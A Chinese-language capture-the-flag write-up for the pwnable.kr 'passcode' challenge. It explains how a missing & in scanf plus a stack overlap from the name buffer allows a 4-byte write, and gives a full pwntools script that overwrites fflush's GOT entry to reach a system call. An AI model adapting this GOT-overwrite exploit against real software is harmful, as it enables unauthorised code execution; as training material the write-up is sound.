pwnable.kr passcode

Pwnable.kr的第5道题目passcode的writeup。

首先通过ssh连接到题目,查看目录:

2

查看passcode.c,获得题目源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

题目逻辑比较简单,先输入name,然后输入两个整数passcode1和passcode2,当输入的值满足以下条件时即可得到flag:

1
passcode1==338150 && passcode2==13371337

但仔细一看,程序中的两个scanf语句有错误,少了&,导致用户在输入passcode时出现Segmentation fault的错误:

1
2
scanf("%d", passcode1);
scanf("%d", passcode2);

3

程序将passcode的值当做passcode的地址,用户当前输入的值被写入地址passcode中,导致非法内存访问。因此在输入passcode1和passcode2的值之前,我们要设法控制这两个变量的值。注意到变量name的长度为100字节,是否可以覆盖到passcode1甚至passcode2呢?

在IDA里可以看到,程序先调用welcome,再调用login,且中间的值ebp没有发生变化,name的地址为[ebp-0x10],passcode1的地址为[ebp-0x70],偏移为0x70-0x10=0x60,因为那么name的长度为100字节,因此输入的name最后4个字节刚好可以覆盖passcode1的地址。

4

5

由于name的长度只有100字节,因此不能覆盖passcode2的地址,但由于我们能够对任意地址写4个字节,因此我们覆写某个函数的got表地址为执行system函数的地址,当执行该函数时,即跳转到指定地址执行,即可得到flag。从源代码或IDA里都能看到,程序在输入passcode1之后执行了printf、fflush函数,可以覆盖这两个函数其中一个,因为要越过passcode2的输入,因此不能覆盖scanf函数。

使用gdb查看system(“/bin/cat flag”)的地址,可以看到跳转的地址为0x080485e3:

6

最后,完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = process('./passcode')
passcode = ELF('./passcode')
context.log_level = "debug"

#gdb.attach(p)
fflush_got = passcode.got['fflush']

payload = 'a'*96 + p32(fflush_got)
p.sendline(payload)
p.recvline()
p.recvline()
p.sendline(str(0x080485e3))
p.recv()

p.interactive()

逐行执行python脚本得到flag:

1